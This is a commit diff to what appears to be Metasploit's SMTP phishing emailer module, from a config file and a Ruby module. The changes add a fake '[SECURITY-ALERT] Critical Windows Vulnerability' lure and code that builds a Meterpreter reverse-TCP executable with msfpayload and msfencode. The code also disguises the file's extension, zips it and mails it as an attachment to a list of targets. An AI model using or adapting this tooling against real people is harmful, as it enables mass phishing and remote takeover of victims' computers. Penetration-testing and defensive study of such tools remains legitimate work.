Updates from jabra for the phishing modules

git-svn-id: file:///home/svn/framework3/trunk@6767 4d416f70-5f16-0410-b530-b9f4589650da

data/emailer_config.yaml

@@ -3,28 +3,50 @@
 # Taken from Jabra spl0it.org
 #
 # Emails CSV File (Fname Lname,email)
-to: email_addresses.csv
+to: /tmp/targets.csv
 # Email is sent from this address
 from: attacker@metasf.com
 # Subject
-subject: "Email Subject"
+subject: "[SECURITY-ALERT] Critical Windows Vulnerability"
 # Type ( text or text/html )
 type: text/html
 # Msg body file
-msg_file: email_body.txt
+msg_file: /tmp/email_body.txt
 # Number of seconds to wait before next email
 wait: 5
 # Prepend the first name to the email body
-add_name: yes
+add_name: true
 # Add custom signature from file
-sig: yes
+sig: true
 # Signature file
-sig_file: sig.txt
+sig_file: /tmp/sig.txt
+
+#### Attachment Information ####
 # Add an email attachment (File exploit anyone?) 
-attachment: yes
+attachment: true
 # Path to file attachment
 attachment_file: test.jpg
 # Name of file attachment
 attachment_file_name: msf.jpg
 # Type of attachment
 attachment_file_type: image/jpeg
+
+#### Metasploit/Payload Creation ####
+# create a metasploit payload
+make_payload: true
+# zip the payload 
+zip_payload: true
+# metasploit server ip
+msf_ip: 127.0.0.1
+# metasploit server port
+msf_port: 443
+# metasploit payload
+msf_payload: windows/meterpreter/reverse_tcp
+# metasploit payload
+msf_filename: MS09-012.exe
+# metasploit location
+msf_location: /pentest/exploits/framework3
+# change the extension
+msf_change_ext: true
+# new extension
+msf_payload_ext: vxe

modules/auxiliary/client/smtp/emailer.rb

@@ -64,6 +64,18 @@ class Metasploit3 < Msf::Auxiliary
 		attachment_file_type = yamlconf['attachment_file_type']
 		attachment_file_name = yamlconf['attachment_file_name']
        
+        ### payload options ###
+        make_payload    = yamlconf['make_payload']
+        zip_payload     = yamlconf['zip_payload']
+        msf_port        = yamlconf['msf_port']
+        msf_ip          = yamlconf['msf_ip']
+        msf_payload     = yamlconf['msf_payload']
+        msf_location    = yamlconf['msf_location']
+        msf_filename    = yamlconf['msf_filename']
+        msf_change_ext  = yamlconf['msf_change_ext']
+        msf_payload_ext = yamlconf['msf_payload_ext']
+
+
 		datastore['MAILFROM'] = from
 		
 		msg = File.open(msg_file).read
@@ -74,6 +86,34 @@ class Metasploit3 < Msf::Auxiliary
 			print_error("YAML config: #{type}")
 		end
         
+        if  make_payload 
+
+            print_status("Creating payload...")
+            system(
+                "#{msf_location}/msfpayload #{msf_payload} LHOST=#{msf_ip} LPORT=#{msf_port} R | #{msf_location}/msfencode -t exe -o /tmp/#{msf_filename} > /dev/null 2>&1")
+
+            if msf_change_ext 
+                msf_payload_newext = msf_filename
+                msf_payload_newext = msf_payload_newext.gsub /\.\w+/, ".#{msf_payload_ext}"
+                system("mv /tmp/#{msf_filename} /tmp/#{msf_payload_newext}")
+                msf_filename = msf_payload_newext
+            end
+
+            if zip_payload 
+                zip_file = msf_filename
+                zip_file = zip_file.gsub /\.\w+/, '.zip' 
+                system("zip -r /tmp/#{zip_file} /tmp/#{msf_filename} > /dev/null 2>&1");
+                msf_filename         = zip_file
+                attachment_file_type = 'application/zip'
+            else 
+                attachment_file_type = 'application/exe'
+            end
+
+            attachment_file = "/tmp/#{msf_filename}"
+            attachment_file_name = msf_filename
+        end
+
+
 		File.open(fileto).each do |l|
 			if l !~ /\@/
 				nil
@@ -86,7 +126,6 @@ class Metasploit3 < Msf::Auxiliary
 			email = nem[1]
 			
 			
-			print_status("[#{add_name}]")
 			if add_name 
 				email_msg_body = "#{fname},\n\n#{msg}" 			
 			else 
@@ -98,7 +137,7 @@ class Metasploit3 < Msf::Auxiliary
 				email_msg_body = "#{email_msg_body}\n#{data_sig}"
 			end
 			
-			print_status("Emailing #{name} at #{email}")
+			print_status("Emailing #{name[0]} #{name[1]} at #{email}")
 
 			mime_msg = Rex::MIME::Message.new
 			mime_msg.mime_defaults